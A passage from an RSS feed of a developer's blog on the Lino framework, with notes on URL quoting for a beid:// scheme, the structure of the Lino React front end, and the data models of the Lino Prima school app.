    &lt;span class="n"&gt;group_by&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_section&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There are also a few subtle optimizations in &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1031.html</guid><pubDate>Thu, 31 Oct 2024 00:00:00 +0000</pubDate></item><item><title>Friday, October 25, 2024</title><link>https://luc.lino-framework.org/blog/2024/1025.html</link><description>&lt;section id="friday-october-25-2024"&gt;
&lt;h1&gt;Friday, October 25, 2024&lt;a class="headerlink" href="#friday-october-25-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;beid://https//xxxxxx.xxxx/receivedata.php?id=123456&amp;amp;date=2024-10-24&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;urllib.parse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unquote&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;beid://https//xxxxxx.xxxx/receivedata.php?id=123456&amp;amp;date=2024-10-24&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;beid%3A//https//xxxxxx.xxxx/receivedata.php%3Fid%3D123456%26date%3D2024-10-24&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;beid://https//xxxxxx.xxxx/receivedata.php?id=123456&amp;amp;date=2024-10-24&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Should we use urlparse rather than doing our own parsing? Like this:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;urllib.parse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;ParseResult(scheme=&amp;#39;beid&amp;#39;, netloc=&amp;#39;https&amp;#39;, path=&amp;#39;//xxxxxx.xxxx/receivedata.php&amp;#39;, params=&amp;#39;&amp;#39;, query=&amp;#39;id=123456&amp;amp;date=2024-10-24&amp;#39;, fragment=&amp;#39;&amp;#39;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But this doesn’t relieve us from having to unquote the URL:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;ParseResult(scheme=&amp;#39;&amp;#39;, netloc=&amp;#39;&amp;#39;, path=&amp;#39;beid%3A//https//xxxxxx.xxxx/receivedata.php%3Fid%3D123456%26date%3D2024-10-24&amp;#39;, params=&amp;#39;&amp;#39;, query=&amp;#39;&amp;#39;, fragment=&amp;#39;&amp;#39;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So I prefer staying with our simple &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;split()&lt;/span&gt;&lt;/code&gt; because using &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;urlparse()&lt;/span&gt;&lt;/code&gt;
might introduce new unknown issues,&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1025.html</guid><pubDate>Fri, 25 Oct 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, October 23, 2024</title><link>https://luc.lino-framework.org/blog/2024/1023.html</link><description>&lt;section id="wednesday-october-23-2024"&gt;
&lt;h1&gt;Wednesday, October 23, 2024&lt;a class="headerlink" href="#wednesday-october-23-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1023.html</guid><pubDate>Wed, 23 Oct 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, October 10, 2024</title><link>https://luc.lino-framework.org/blog/2024/1010.html</link><description>&lt;section id="thursday-october-10-2024"&gt;
&lt;h1&gt;Thursday, October 10, 2024&lt;a class="headerlink" href="#thursday-october-10-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5777"&gt;#5777&lt;/a&gt; (ParameterStore (…) expects a list of 3 values
but got 5), which requires me to dive into the &lt;a class="reference internal" href="#xfile-NavigationControl.js"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;NavigationControl.js&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference internal" href="#xfile-Base.ts"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;Base.ts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; files. This page contains my reading notes.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;localStorage&lt;/span&gt;&lt;/code&gt; read-only property of &lt;a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/API/Window"&gt;window&lt;/a&gt; allows you to
access a &lt;a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/API/Storage"&gt;Storage&lt;/a&gt;
object for the &lt;a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/API/Document"&gt;Document&lt;/a&gt;‘s origin; the
stored data is saved across browser sessions. &lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;localStorage&lt;/span&gt;&lt;/code&gt; is similar to
&lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;sessionStorage&lt;/span&gt;&lt;/code&gt;, except that &lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;sessionStorage&lt;/span&gt;&lt;/code&gt; gets cleared when the
page session ends — that is, when the page is closed. (Source: &lt;a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage"&gt;mozilla.org&lt;/a&gt;) that&lt;/p&gt;
&lt;dl class="std xfile"&gt;
&lt;dt class="sig sig-object std" id="xfile-Base.ts"&gt;
&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;Base.ts&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#xfile-Base.ts" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;/dd&gt;&lt;/dl&gt;

&lt;p&gt;The &lt;a class="reference internal" href="#xfile-Base.ts"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;Base.ts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;defines the &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DynDep&lt;/span&gt;&lt;/code&gt; class, which adds dynamic dependency management to
a class. The &lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;constructor()&lt;/span&gt;&lt;/code&gt; loads the modules specified by
&lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;requiredModules&lt;/span&gt;&lt;/code&gt; and then calls &lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;prepare()&lt;/span&gt;&lt;/code&gt;, sets &lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ready&lt;/span&gt;&lt;/code&gt; to
true and finally calls &lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;onReady()&lt;/span&gt;&lt;/code&gt; (which subclasses can override).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;it also defines a &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Component&lt;/span&gt;&lt;/code&gt; class, which extends the bare
&lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;React.Component&lt;/span&gt;&lt;/code&gt; to use &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DynDep&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The file also creates two contexts &lt;code class="xref js js-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;URLContextType&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref js js-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;DataContextType&lt;/span&gt;&lt;/code&gt;, using &lt;a class="reference external" href="https://react.dev/reference/react/createContext"&gt;React.createContext()&lt;/a&gt;, and their default value is
an (empty) object. A context lets a parent component provide data to the entire
tree below it. (Source: &lt;a class="reference external" href="https://react.dev/learn/passing-data-deeply-with-context"&gt;react.dev&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;They are assigned to the &lt;a class="reference external" href="https://react.dev/reference/react/Component#static-contexttype"&gt;contextType&lt;/a&gt; of our
components. More precisely:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref js js-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;URLContextType&lt;/span&gt;&lt;/code&gt; is used by: GridFilter, LinoBbar, LinoBody, LinoLayout,
LinoDialog, LinoPaginator, LinoParamsPanel, …&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref js js-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;DataContextType&lt;/span&gt;&lt;/code&gt; is used by: GridElement, LinoComponents.UnknownElement&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IOW, in a GridElement instance, e.g. in the &lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;GridElement.arrowSelect()&lt;/span&gt;&lt;/code&gt;
method, &lt;cite&gt;this.context&lt;/cite&gt; points to the &lt;code class="xref js js-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;DataContextType&lt;/span&gt;&lt;/code&gt; and we
can say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;this.context.rows&lt;/span&gt;&lt;/code&gt; to access the array of rows. Two questions:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Do all &lt;a class="reference internal" href="#GridElement" title="GridElement"&gt;&lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;GridElement&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; instances share the same context? I guess that
React actually makes a copy of &lt;cite&gt;contextType&lt;/cite&gt; for each new instance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Where do we define that a &lt;code class="xref js js-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;DataContextType&lt;/span&gt;&lt;/code&gt; has an attribute &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rows&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I see that React “recommend defining components as functions instead of
classes.” So some day we will probably &lt;a class="reference external" href="https://react.dev/reference/react/Component#alternatives"&gt;want to migrate&lt;/a&gt;. But that won’t be
as easy as they describe it because we use an enhanced &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Component&lt;/span&gt;&lt;/code&gt; base
class.&lt;/p&gt;
&lt;dl class="std xfile"&gt;
&lt;dt class="sig sig-object std" id="xfile-NavigationControl.js"&gt;
&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;NavigationControl.js&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#xfile-NavigationControl.js" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;/dd&gt;&lt;/dl&gt;

&lt;p&gt;The &lt;a class="reference internal" href="#xfile-NavigationControl.js"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;NavigationControl.js&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;defines the &lt;a class="reference external" href="https://react.lino-framework.org/dev/NavigationControl.html#Context" title="(in Lino React)"&gt;&lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Context&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; class, which extends &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DynDep&lt;/span&gt;&lt;/code&gt;. A Context
is a controller for all navigation features. It as an attribute
&lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;contextType&lt;/span&gt;&lt;/code&gt;, which contains one of the following values (defined in
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;constants.js&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;CONTEXT_TYPE_SINGLE_ROW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;SingleRow&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;CONTEXT_TYPE_MULTI_ROW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;MultiRow&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;CONTEXT_TYPE_ACTION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Action&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;defines the &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;History&lt;/span&gt;&lt;/code&gt; class, with attributes like
&lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;state&lt;/span&gt;&lt;/code&gt; (contains the “router state”, an instance of &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;State&lt;/span&gt;&lt;/code&gt;),
and &lt;code class="xref js js-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;context&lt;/span&gt;&lt;/code&gt; (the context of its owner).&lt;/p&gt;
&lt;p&gt;&lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;History.pushPath()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;defines &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Delegate&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;defines &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;State&lt;/span&gt;&lt;/code&gt;, which represents a &lt;em&gt;router state&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="the-actionhandler"&gt;
&lt;h2&gt;The &lt;a class="reference internal" href="#ActionHandler" title="ActionHandler"&gt;&lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ActionHandler&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;a class="headerlink" href="#the-actionhandler" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;dl class="js class"&gt;
&lt;dt class="sig sig-object js" id="ActionHandler"&gt;
&lt;span class="property"&gt;&lt;span class="k"&gt;&lt;span class="pre"&gt;class&lt;/span&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="sig-name descname"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;ActionHandler&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="sig-paren"&gt;(&lt;/span&gt;&lt;span class="sig-paren"&gt;)&lt;/span&gt;&lt;a class="headerlink" href="#ActionHandler" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;dl class="js method"&gt;
&lt;dt class="sig sig-object js" id="ActionHandler.singleRow"&gt;
&lt;span class="sig-prename descclassname"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;ActionHandler&lt;/span&gt;&lt;/span&gt;&lt;span class="p"&gt;&lt;span class="pre"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="sig-name descname"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;singleRow&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="sig-paren"&gt;(&lt;/span&gt;&lt;em class="sig-param"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;event&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;, &lt;em class="sig-param"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;pk&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;, &lt;em class="sig-param"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;where&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;, &lt;em class="sig-param"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;status&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;span class="sig-paren"&gt;)&lt;/span&gt;&lt;a class="headerlink" href="#ActionHandler.singleRow" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Open a detail window on the given primary key &lt;cite&gt;pk&lt;/cite&gt; in the current table.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;/dd&gt;&lt;/dl&gt;

&lt;p&gt;The &lt;a class="reference internal" href="#ActionHandler.singleRow" title="ActionHandler.singleRow"&gt;&lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ActionHandler.singleRow()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method is called by:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;GridElement.showDetail()&lt;/span&gt;&lt;/code&gt; (which is called when you click on the first cell of a row)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;when you click on the title of a &lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LinoCards&lt;/span&gt;&lt;/code&gt; item&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;dl class="js class"&gt;
&lt;dt class="sig sig-object js" id="GridElement"&gt;
&lt;span class="property"&gt;&lt;span class="k"&gt;&lt;span class="pre"&gt;class&lt;/span&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="sig-name descname"&gt;&lt;span class="n"&gt;&lt;span class="pre"&gt;GridElement&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="sig-paren"&gt;(&lt;/span&gt;&lt;span class="sig-paren"&gt;)&lt;/span&gt;&lt;a class="headerlink" href="#GridElement" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;/dd&gt;&lt;/dl&gt;

&lt;p&gt;defines&lt;/p&gt;
&lt;p&gt;&lt;code class="xref js js-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;DynDep.reflect()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class="xref js js-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;RegisterImportPool&lt;/span&gt;&lt;/code&gt;,&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1010.html</guid><pubDate>Thu, 10 Oct 2024 00:00:00 +0000</pubDate></item><item><title>A new Lino: Lino Prima</title><link>https://luc.lino-framework.org/blog/2024/0930.html</link><description>&lt;section id="a-new-lino-lino-prima"&gt;
&lt;h1&gt;A new Lino: Lino Prima&lt;a class="headerlink" href="#a-new-lino-lino-prima" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, September 30, 2024&lt;/p&gt;
&lt;p&gt;Note: This page is obsolete and unmaintained. You probably prefer to read the
up-to-date article in &lt;a class="reference external" href="https://prima.lino-framework.org/guide/index.html#prima-guide" title="(in Lino Prima)"&gt;&lt;span&gt;Lino Prima User’s Guide&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Lino Prima is for storing evaluation results and printing certificates in a primary school.&lt;/p&gt;
&lt;p&gt;Manage evaluation results and certificates in a primary school&lt;/p&gt;
&lt;p&gt;Existing plugins: users&lt;/p&gt;
&lt;p&gt;Database models in the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;prima&lt;/span&gt;&lt;/code&gt; plugin:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Teacher and Pupil are just types of users&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Year: A period of time, usually lasting from September to June
Examples: 23-24, 24-25&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Periods: P1 and P2&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Group (Klasse): A group of ↗pupils who work together for a given ↗year,
following a given ↗course. Examples: 1A, 1B, 2A, 2B, 2C, …&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enrolment (Einschreibung): when a given ↗pupil is member of a given ↗group.
Fields: ↗pupil, ↗group.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Role (Lehrerrolle): a specific role to be assumed by a teacher in a group.
Examples: Klassenleiter, Sportlehrer,…&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cast (Rollenbelegung) : when a given ↗teacher assumes a given ↗role in a given
↗group. Fields: ↗teacher, ↗group, ↗role&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Subject (Unterrichtsfach).
Fields: name, ☑complex
Examples: Wissenschaften,  Kunst,  Musik,  Sport,  Schriftbild,  Heimatkunde/Sachkunde,
Französisch, Mathematik, Religion, Deutsch&lt;/p&gt;
&lt;p&gt;Every subject has a set of ↗skills. “complex” means a complex schema for
evaluations using ↗skills, ↗blocks and ↗tests&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Vintage (Jahrgang): 1, 2, … 6&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Skill (Hauptkompetenz): a subdivision of a ↗subject.
Fields: name, ↗subject
Examples: Deutsch:Schreiben, Deutsch:Lesen, Mathematik:Arithmetik&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Block (Baustein): a subdivision of a ↗skill.
Fields: name, ref, ↗subject, ↗skill, ↗color, ↗vintage
Examples: Erlebnisse spannend erzählen (Erle), Rund um Tiere (Tier), Berichten
(Ber), Geschichten aus dem Leben erzählen (Leb)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Course (Kursus): a set of ↗subjects and ↗skills to be taught to a number of ↗pupils.
Fields : name, ↗vintage.
Examples: 1. Schuljahr, 2. Schuljahr, …&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Probe: A test that has been made in a given group of pupils
Fields: name, ↗group, ↗period, ↗subject&lt;/p&gt;
&lt;p&gt;Each probe has a list of “skill probes”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SkillProbe (Leistung): when a given ↗skill is being measured during a given
↗probe&lt;/p&gt;
&lt;p&gt;Fields: ↗probe, ↗skill, max_rating (Höchstpunktzahl)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Evaluation (Bewertung)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Certificate (Zeugnis)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0930.html</guid><pubDate>Mon, 30 Sep 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 25, 2024</title><link>https://luc.lino-framework.org/blog/2024/0925.html</link><description>&lt;section id="wednesday-september-25-2024"&gt;
&lt;h1&gt;Wednesday, September 25, 2024&lt;a class="headerlink" href="#wednesday-september-25-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;display_mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;constants&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DISPLAY_MODE_SUMMARY&lt;/span&gt;&lt;span class="p"&gt;),)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;after:&lt;/p&gt;
